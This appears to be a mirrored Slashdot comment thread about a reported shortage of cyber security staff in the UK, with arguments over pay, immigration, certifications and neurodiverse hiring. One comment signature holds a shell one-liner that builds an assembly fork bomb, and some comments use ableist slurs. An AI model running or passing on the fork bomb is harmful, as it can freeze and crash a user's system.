Slashdot Mirror
UK Companies Facing Cyber Security Staff Shortage (theguardian.com)
Bruce66423 writes: According to a recent survey of recruitment agencies, 81% expect a rise in demand for digital security staff, but only 16% saw that the demand would be met."
Resorting to 'neuro-diversity' [...] "We were originally plucking people from IT and bolting skills on but we changed our entire recruitment policy including targeting different kinds of people," said Rob Partridgeat BT Security. "One area we've looked at is neuro diversity. We know, for example, that some people with Asperger's are highly suited to cyber but don't always have good communication skills so we changed our approach to the way we source and interview candidates.
Resorting to 'neuro-diversity' [...] "We were originally plucking people from IT and bolting skills on but we changed our entire recruitment policy including targeting different kinds of people," said Rob Partridgeat BT Security. "One area we've looked at is neuro diversity. We know, for example, that some people with Asperger's are highly suited to cyber but don't always have good communication skills so we changed our approach to the way we source and interview candidates.
Let me guess: the only solution is to throw the doors open to immigration?
Pay people what they are worth! If you only offer people peanuts then you aren't going to get a warm reception.
Anons need not reply. Questions end with a question mark.
AI = autistic introverts? Blimey
Posting AC. I worked with a developer who told me the following:
"There is a reason why you don't find people interested in cyber security. Companies don't want them, because security has zero ROI."
"After years in DevOps, I will happily have my code run as root or require admin rights on Windows, if it gets the job done. Security isn't something I will give a care about, ever. Mainly because if a company gets sued for my insecure code, their lawyers handle it. If I don't make my deliverables, I get fired, and a Deloitte guy gets my job. So, with the current market, hell with security. If it allows me to make my stuff, I'll happily leave a S3 bucket as public."
Needless to say, I left that company, but that is the norm, not the exception.
Want real security? Pass regulations that actually put some serious pain on a company, like the GDPR. Assuming the GDPR will be enforced and companies start being fined percentages of their revenue, not made into a toothless law like SOX, HIPAA, or other items which at best, might be used against a fall-guy worker.
Different day, lemme guess more low to no wage immigrants is your solution?
How much did the UK waste on computer education for all with its BBC Micro https://en.wikipedia.org/wiki/..., Dragon https://en.wikipedia.org/wiki/... and other attempts at generational computer education?
With so much money put into the early use of computers, generations should be computer ready by 2018?
Did the education system discover that very average students stay very average even after using a computer for many years?
That money could have been put into university math and CS. The very best could have been supported at top universities for generations, ready for challenging Cyber Security jobs in 2018.
Domestic spying is now "Benign Information Gathering"
You must be at least this autistic to work here.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Pay people what they are worth! If you only offer people peanuts then you aren't going to get a warm reception.
Figuring out what they are worth is the hard part. Everybody wants good employees at a price point that works for their business. Some places have other requirements. For example, have you EVER seen anyone in sales at Goldman Sachs who didn't have amazing hair? It's clearly a hiring requirement. Humans aren't always very good about who they hire, even when they have all the choices in the world.
So what we have, cyber security experts missing. May be its a lot more profitable being illegal, work for yourself, not being judged for color of skin or sex to have some one else blame you for mistakes of others. On other side of scale: incompetent people trying to catch you, just one out of hundreds? IMHO risk might be very calculated here...
With all due respect, Robs full of shit.
BT pays well below market rates and even then, their hr refuse to authorize new hires and drown the existing ones under petty restrictions. With zero training budget or travelling?
Ever hear the one about the specialist app test team in BT who were dragged in for police interrogation when they needed a specific version of iPhone and could only source a gold version, so instead of costing hundreds of thousands of lost reputation they spent 300 pounds on 5 of them? And someone clueless saw gold iPhone on a expense entry?
Tl,DR; clueless shit company can't hire UK staff for same money as Indians and Romanians. First hand experience here.
...then you aren't really demanding anything. This is Econ 101.
If demand isn't being met, it's not because you aren't willing to pay exorbitant rates, it's because you are legally prohibited from paying those rates to get what you want.
What is legally preventing companies from hiring security professionals? The article doesn't say.
Move on, folks. This is just propaganda to try to get the government to solve the private sector's problems at taxpayer expense!
Any sufficiently unpopular but cohesive argument is indistinguishable from trolling.
I was one BUT I was not able to find a single company which whished making the necessary steps: just faking compliance with some damn stupid standards. Companies are looking for brainless clones with some damn stupid certifications GIAC, CISSP and so. Did like 3 of those none where valuable, crazy stupid, boring, and expensive succeeded without even trying. The ones really useful won't land you a job. No surprise that whatever guy fit the job.
I went for a radical change. No more IT/ICT, no more security, went for real science. Happy with my choice.
I don't see a ton of jobs in it other than sysadmins who monitor shit. Maybe that's what they mean: they want to hire homer simpson.
> vocational education so people can ... use the GUI and enter the command lines they are told.
The PROBLEM is that admins and programmers follow a set of instructions that might have been okay for one situation, without understanding and carefully considering the ramifications for *their* situation, on *their* network, considering *current* threat trends. Often they get the commands to enter or the GUI buttons to click from sites like Stackoverflow or Serverfault. The answers on Stackoverflow might more or less answer the question and might more or less work, they do turn on the requested function.
If you don't fully understand what you're doing though, and what "enabling RPC" actually means, that's when you create a giant security hole.
What makes hacking "hacking" is precisely that's it's outside-the-box thinking, coming up with how to leverage things in ways nobody intended. Information security thinking is precisely the opposite of following a standard checklist. It's all about finding the "cheat", not following the rules.
There certainly IS a role for people with basic IT knowledge. Mostly working under someone with advanced IT knowledge with their work reviewed by a security professional. The security person should be a devious, clever type who comes up with ways to get around the rules.
https://www.youtube.com/watch?v=LgHEClMxnpg
Sorry nerds, but "hackers" and coders are dime a dozen. No one cares about leet firewall skillz , or being able to code in C++. You buy in geeks to do that.
What they want are CISO's. People who have a grasp of the business and can hold their own in the C suite.
In the security world there is no shortage of hacky gimps. Ever wondered why hardly any of them crack $150k/year ??
They're just like sys admins.
the world shouldnt have got so online, so soon... it's a horrendous mistake.
the idea that entire populations are buying in into very unsecure and unreliable pieces of software (and hardware )
I can only foresee that the growing amount of disasters awaiting for us ahead is enormous.
sure, poorly written software can create many jobs for security guys for tens of years if not hundreds but why even bother ?
if you want wicked guys to work for you then join the criminals side beforehand. but people like to stir everything up as they usually do.
overall, a spiritual market shift is needed first if we want to create the properly secured infrastructure and products to let millions of people depend on.
People with IT skills don't interview well. Film at 11.
The real "Libtards" are the Libertarians!
"We just can't find them" PAY THEM MORE.
Socially very talented non-techies discussing with socially non-talented techies about social engineering, influence, education and policies, all the while the "normal" techies try to moderate and prevent the meeting from straying into a social ice berg.
you need a stable, well funded working class to have children and an education system to train them. Those things are really, really pricey. On the other hand in a dog eat dog economy some folks are bound to make it through sheer force of will, good genetics and dumb luck. Hence the relentless push to bring in labor from overseas. Let somebody else pay the costs to train the next generation of employees, both the economic (food, shelter, schools, etc) and social (e.g. that dog eat dog capitalism again).
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
As soon as people wake up and realize that capability based security can fix all of this, "computer security professional" will be about in demand as much as "computer operator" or "system administrator". I wish these folks so employed a nice 10ish year ride until it's over.
So the prophecy is written, again.
...rise in demand for digital security staff, but only 16% saw that the demand would be met."
This seems to come up every year. Poor HR says "we can't hire anyone."
Translation: "we can't hire at the price we're willing to pay."
This is Freshman/First year Econ 101 stuff. The market (the Free Market) is telling you you're not paying enough.
Offer enough and you'll have plenty of people applying for the job. Don't like the price you have to pay? Boo hoo. That's called Capitalism. Honestly, it just isn't that hard.
There is however a shortage of security pros who are willing to work with sticks and rocks or not allowed to do their job.
There is also a shortage of pros who are willing to work for 2 tacos a day.
No one wants to be the fall guy for upper management that is not willing to go all in on security.
Upper management will always blame the security guy after they get hacked even though upper management circumvented or was not willing to follow or back recommended security protocol.
Rick B.
I have significant experience in this arena, but whenever I have looked for a job they have all these exhaustive requirements which I don't have.
Another way of putting it- Whoever is writing the job descriptions evidently is more concerned about certifications and legal requirements as opposed to being genuinely concerned about security.
Only elite Cybers can Cyber Cybers! Don' t let your Cyber business goals get Cybered without the right Cybering Cybers!
I mean there are some simple and easy ways to increase security at any company. It boils down to not doing stupid things.
However many people have been trained to do stupid things like using Office Software, which is one of the main dangers at any company.
Why not send them that retard APK too.
Then he can foist his hosts file garbage on even more people while pretending to be a security person.
He would be exactly the kind of person management would love, lots of low cost shitty ideas
the shortage is in place to hire guest workers that are tied to the job and if the quit / are fired are forced to go home.
Require businesses and media that reports this issue to follow every "Not Enough Qualified ______" with the obvious qualifier "For the Salary Offered."
Then all of these stories make a lot more sense.
America is currently throwing a fortune into "STEM". Because of the false claim of a shortage of workers when the real answer is a shortage of pay.
All they are going to do is crash the tech economy when they flood the market with all the new tech workers that realize they can't make enough money to pay back debt and have to drop out of science and tech altogether. I've seen it in another field here and it's not pretty. Flood of workers means unemployment, low wages, and no bargaining power. It won't take long for them to all refuse to work in tech and just throw their degree in the garbage.
2020: More CS majors behind the counter at Starbucks than at the tables.
AC wrote: "overall, a spiritual market shift is needed first if we want to create the properly secured infrastructure and products to let millions of people depend on."
Sad, but true -- and in more areas of life than that. Thus my sig - - and the Albert Einstein quote that helped inspire it: "The release of atom power has changed everything except our way of thinking... the solution to this problem lies in the heart of mankind. If only I had known, I should have become a watchmaker."
Although, 70 years later, now that every smart watch has more computing power than was needed to design the first nuclear weapons, the choice of career is not so easy...
A 21st century issue: the irony of technologies of abundance in the hands of those still thinking in terms of scarcity.
It is their product not fit for purpose. And Darwin will eventually weed out firms that cannot get a handle on security. And, no, not for any amount of money do I need the endless thankless pain of being a security expert, whatever exactly that is.